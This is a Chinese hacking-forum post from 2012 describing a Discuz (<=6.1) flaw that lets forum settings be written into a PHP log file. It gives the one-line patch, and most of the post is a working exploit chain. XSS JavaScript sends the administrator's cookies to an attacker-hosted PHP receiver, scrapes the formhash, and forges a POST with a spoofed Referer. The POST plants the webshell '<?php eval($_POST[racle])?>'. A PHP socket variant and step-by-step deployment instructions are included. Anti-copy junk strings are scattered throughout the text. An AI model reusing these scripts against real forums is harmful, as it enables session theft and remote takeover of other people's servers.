找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3507|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
( ^: V* m7 P& K0 S4 j, P3 h+ m1 [By racle @tian6.com
: v" ^/ L% ^' R3 ?) p1 A3 S' J. J欢迎转帖.但请保留版权信息.
, b- {% {. I. {6 b0 G受影响版本iscuz<=6.1.0,gbk+utf+big5' y4 H5 O$ H6 S: p- {

% k  d! v, f' t$ ]" ]新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效., t. V+ z/ R/ t# j
  j$ x8 U+ J/ B% ^9 m) @
0 T2 ^2 ^, j/ |. }  ^. z! Z9 x
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706% z7 ^* U" l( I8 q$ k# \6 ^. x
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.8 k7 `4 d* i( e$ e2 ]0 ]7 u0 W

0 f4 A1 J! R' G' X分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
1 o! o) l" U2 e7 w! T# k本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
" |; p, P8 K4 w3 U( J/ G$ f3 }4 a  ~+ [" U  i, u  |& q0 |- I
; [6 Q% G3 v; \' V6 \0 Y8 S& L+ X
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------5 A" t5 x. r9 u

4 {4 @6 j$ g* y- N& f, t' i7 {  c3 W9 N4 C
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.7 A# h# n' W+ Y
5 E3 P7 {% @# s9 A7 \) Z
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.; W$ f4 M0 R# a( x$ G9 f

$ d- w5 f5 v) ^: [) R0 Zproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.8 v; K; g% h8 r$ h- L

( }* {( c% g* C0 M4 F( _) j3 g, O  i5 c  U5 b! N, z$ G
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
* x7 C2 k# B! J: G4 W) a
7 c- U+ }, |$ H: J$ _        global $runwizardfile, $runwizardhistory;
. t3 F$ Z  c3 C2 J& ~* K
- q) L' Z  P1 ]* l        $fp = fopen($runwizardfile, 'w');
% m* Z* D" i) K- m% v  z+ c7 T8 @8 _$ s+ T1 C5 E
        fwrite($fp, serialize($runwizardhistory));- @2 d+ \$ S1 m3 L
! {5 I) h0 H7 ^4 f) M- ]
        fclose($fp);
$ }/ V: g, b1 F/ ]8 h0 p7 m9 i, |4 n/ u
}+ [% j  ~) B2 n) Z/ P) B2 ^
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.% r# W0 `8 X4 C  t2 C/ C  O. \
以下是修补的办法:function saverunwizardhistory() {
# V" O% [0 g7 s1 \1 ^+ E+ d% }. ^7 j* x- P1 O
        global $runwizardfile, $runwizardhistory;: P% A8 G2 @, F5 m9 k! H
/ r; ?4 k9 q0 ]+ Q
        $fp = fopen($runwizardfile, 'w');
$ e# b5 _9 T. S* w$ @
9 E7 y# N  ^4 x4 h% W8 n9 I7 p        $s = '<?php exit;?>';& Y% d/ ]$ H- t$ Q
8 H0 f1 O. V6 I
        $s .= serialize($runwizardhistory);2 j& L  J6 q& q6 a* N# V" Q

, j+ g; a* s2 ^5 y        fwrite($fp, $s);
& A' G8 Z6 P( z  J* ~0 G% J
/ S( P& I0 ?* x1 _) y, a  Z        fclose($fp);0 f- a8 u) w' Y4 u) q8 n0 ^+ `
7 v; t$ D$ p( k8 Z1 G; |
}
& Y1 C7 e1 ?& y0 |% E. g* D9 B2 \复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.# B* J( t; B& ?, N
/ I2 N7 U% g% @
2 N( [" y  _& T; b0 _
, P( h2 Z/ m; ^* S* r
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
9 H! b  w& }* V/ J; |  ^& y' y- a0 u

+ r( X: h7 M3 e7 K: ?# ?  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了./ {/ I/ N) I6 J3 a! b. h, n
# N7 ^- Z  V3 a3 ^2 v: G
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: _' y! R5 c, M6 g1 e3 o4 U
0 u+ k  H4 Z! ^6 Z这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少." O7 P' _  V. W. h4 B
- f' ^4 a+ o# u3 Z
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:* `$ I6 F2 R+ M
: E# f4 K% [& b
var url="http://目标网站/admincp.php";      : l& E7 ^0 U; L  h' V' [- c: L4 C

, Q3 t* s' F  E, S" X# k/ s/*获得cookies*/
2 g8 K% H# c1 k  t+ Z3 c: k( T7 |* ^" k/ y3 q: F6 T: W
function getURL(s) {
3 U5 F4 e' J, h4 v& Y9 [; e% u; U& g9 [) G2 A
var image = new Image();
* L2 }- P: G% I) d% e: Y
" w% w* |0 M! g9 M2 g. ximage.style.width = 0;. q& Q9 e5 e) w1 E7 [" K( l' `

3 d; L9 ]1 R$ o3 M$ z6 J) H) Nimage.style.height = 0;
5 _, O% \, l9 s/ q0 ?4 w* n) H4 z  D; |) `
image.src = s;
9 q& v0 f: \. K* h1 \7 |0 J
7 {# J6 s& a$ K. t) p2 W}
  Y. N7 ^* i6 L- y1 @1 W+ o' [, c3 t. t) H7 R* D
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
0 m& {9 o9 z3 F( Z) r  B! u复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];( M, P# M  D* a& G# |, R2 S
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) - ?0 L: H: h1 @. v; L0 l; c! w% [
* N5 d8 w2 j0 a. H8 z

+ B+ d. [  N' P$ O- a/ @6 L1 ]! Y获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";% E2 r) i5 @9 }3 {& ?+ W; S
* M! B% \+ J2 h/ R" w6 W
1 q( o- A3 e- A- Z' b3 r

; x. l% s4 X0 _# T, r6 j: Z/*hash*/
4 G" D3 m, G$ p/ K$ t2 f0 @# R8 [0 v6 x
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
! `# h  ?( N5 e0 ?6 [4 E& b
& c1 u4 T+ J' g; J6 D. sxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
2 x# f* p! t  z2 M/ t4 O
$ o7 b; c6 U3 ]# d* n* zxmlHttpReq.send();# g4 c: M/ v4 e9 i2 `6 B

' H, T- q- h) e! j0 A$ |  }var resource = xmlHttpReq.responseText;0 ]6 W) O- H* P! C4 R. X- S

/ T, ?$ A4 `# `! y8 ovar numero = resource.search(/formhash/);, z' c0 Y- \& R* L' n1 e) A
' }2 G5 L9 P, `9 W
var formhash=encodeURIComponent(resource.substr(numero+17,8));
1 {, P) m& v& F, m% f2 ?
' s% v1 r( W0 m5 ]2 e" z9 e* G8 T% k. v/ I7 ^/ A) t0 L
6 F' b2 @/ F3 v8 C7 A
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
! N4 ^" F: Z+ o+ ]7 A7 [
' \% {9 c1 ~2 p0 m) q. ixmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 # ~, c$ Y7 L; j- Q6 v3 q9 }

+ \% P, |' g& b) D+ ]; b4 jxmlHttpReq.setRequestHeader("Referer", url);5 E0 [2 i7 \0 U) g$ j

% y7 [% ]$ O# u+ I7 O& UxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
9 Q- g- s  C3 A) d8 R& A
, a- Q  s  D7 K# n$ Q" \xmlHttpReq.setrequestheader("content-length",post.length);
* p' a) u' J5 k1 H/ Q% o7 K4 x7 _( D0 p8 d
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
, H: P4 `. e$ x9 f$ b8 C$ I! f, b6 a. R; t. F$ ]  a
xmlHttpReq.send(post);//发送数据
! S! ?$ _+ R( \/ X) |3 R  D复制代码这里HASH我假设正确,这样提交,也无须cookies
) X9 y3 c* g" \+ H. G4 M8 r6 J2 X% K4 F9 J2 e" a- w; @
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
2 A" K, G3 s1 M5 j% g' _+ U. v/ ^( M& u& C$ `1 G  B! g$ y
if (!$sock) die("$errstr ($errno)\n");  ]: @6 p$ }: ?6 s3 p
" g2 l. ?$ J" _! L& L
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';: l  h+ a  C$ O0 G( b. G6 d7 y8 n8 {  Z
" ?; R% S' C1 d* h- I; ~: Z
. w) d) i+ q7 ~# T+ e  Q
2 ?. I  w: T: L: v# a5 |
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");* |- f  J2 @6 a( W% N+ N8 z
' |2 J4 k9 `  r; F
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
9 L: n% Y: S& d; {2 x8 o/ a: b* W8 D5 D4 t( }7 F; `
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");6 n- Y6 M6 e  l" g* S9 X9 Q1 _

  _; c+ y' w% N& l& \: x+ U( Mfwrite($sock, "Accept-Language: zh-cn\r\n");
! X9 j# R. ?; b' e# [9 Z
) G' H/ Z5 D/ u% I, m) ?( b, Sfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");1 h9 d; ?% j, i
; e4 k3 A+ I$ [/ `4 y9 Y& ?
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");7 ]6 {$ R! S4 ^, L9 ^
3 u+ \/ i$ ~" d4 K2 U2 ^6 E! i
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
4 ~1 B1 w- j7 B/ T
+ b8 b6 {( Q. |- x- Kfwrite($sock, "Host: $url\r\n");+ b; v7 z$ J) B8 _
5 y) W1 L" q- n) r" F
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
* S+ B1 ]' L1 i7 C: [$ n7 N; F$ E* s" i3 K: i- G
fwrite($sock, "Connection: Keep-Alive\r\n");: o- ~7 P9 L9 G' o! Y  G, X! g

# K6 I* S1 K% N  h) U/ _fwrite($sock, "Cache-Control: no-cache\r\n");
4 ]2 r$ _7 O5 X( c! M5 \% }
/ }0 F: F- g# p9 d- Jfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
0 z' G" N# Y  s7 F* k, M
' n6 l: ~' l( q1 `7 Wfwrite($sock, $data);
2 g) L% h* R3 U7 @& H- H! O6 T/ E6 u! t

1 P6 u0 j3 @/ h
. `3 Y/ F/ z3 T6 r$headers = "";$ Z9 |  M) F. {3 t6 X5 k

+ K, f  E& \( T: ~% `" k9 Bwhile ($str = trim(fgets($sock, 4096)))
* f) R- r9 B$ X+ |4 s# p. a
( S5 K! r( ^% K, c1 b# @     $headers .= "$str\n";: o' }/ |* G6 u4 p% k5 f, P

% J# y" ~$ e0 ]3 S% zecho "\n";. o' [: d& U, n& z, T3 D

# B+ d* j& O0 m# I* ^! ~$body = "";
; y& `& z6 E! s# J: `9 z4 [, B# C( J9 _9 p; ]% L4 p2 ~. e: Z0 Q% i
while (!feof($sock)); U! p) \; [1 o7 T: z
( O( }% H/ V+ z. i
     $body .= fgets($sock, 4096);. x8 X( P: l9 }$ h

% r% n2 H9 m& S" c0 r7 j; ]9 }fclose($sock);
4 F; j, [. W: F5 q# n
6 V6 u! M0 R; ^8 }echo $body;% C+ x- p$ I' w, H+ q1 Z( B, S
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! [/ g5 b: u/ w* i# z/ j
4 ?  D+ H1 x( }  I
$ B8 a: b4 ~) T+ `; C
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------; J. r, }; l& Y! k0 `; A' c

, b7 c5 `* l( M1 D, a1 U$ m# q7 x3 u) p
1HP SOCKET利用方法首先打开racle.js% [) s; Y; g* ^+ R6 V

2 I, i% m4 F7 T7 k8 Evar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
1 \' t' L* S) r  K% c3 c
6 a5 @& C# h% e% C" W  H7 F# X+ E. H$ |% Z4 F  c' ^

' E$ Q- J- ^9 y% \& [# u0 ~6 f$ o1 U然后打开racle@tian6.php
7 u, a3 q) }) o# ^1 z0 Q- F$ C: G: z( @# p) z3 ^0 Q
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com' \6 }" |- c, j5 V! s1 p4 H5 o

  R/ B* D# y; o' K6 a7 Y
! L3 p% I9 A! d# d9 r& O/ d4 C
/ W) M) n# N1 R如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:3 Z# F6 g0 E' q- W0 z$ D5 n4 E
7 h. @3 T* t- Y: f; Y
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
& i! M) x4 a" M$ O
& }. K/ m+ z. c0 [9 p; n  H* ^, ^
: U6 j, a6 m5 I( r: d1 D- E% t1 d7 F* N# a# Z' G
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
: u% a, @  W9 D0 F: T9 \& h$ A& l复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
3 w& `( q- J0 s2 h) Z  s
0 J( Q- Y9 a3 M0 E
/ J7 Q' B# T/ |+ T. n- X) B$ r# c. E1 l
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
+ E( X1 Y  e6 S: S0 @% U/ f. m% J( e8 h* i5 }3 t" `
var formhash=encodeURIComponent(resource.substr(numero+17,8));
+ \$ U) G0 a- f4 H2 Z: g. d3 ?
2 @# P+ q* r! [! m% \/ r
& p7 y. a' O- k. O$ ~
0 X& c* @) Y& T+ L/ J% N% `0 o; gvar formhash=encodeURIComponent(resource.substr(numero+9,8));
8 m6 t+ t8 I- Z1 k复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.# ?$ t  i9 r4 d$ N: D$ T2 s6 f
) [1 A$ z! F8 G8 X  q6 ~
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.+ t% `# N1 o) J3 e9 l: b& N4 N

9 f( H% X/ j& V* l( l; I, V3 X如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
& e) ?8 I7 Z9 s5 b$ i! }6 Z
1 a* M- h" K4 I8 U3 \不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.1 ?5 U: `7 f9 H9 c! T. _2 }* G

1 H3 T! j! ]8 d+ G9 Q1 ]/ n1 p) X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表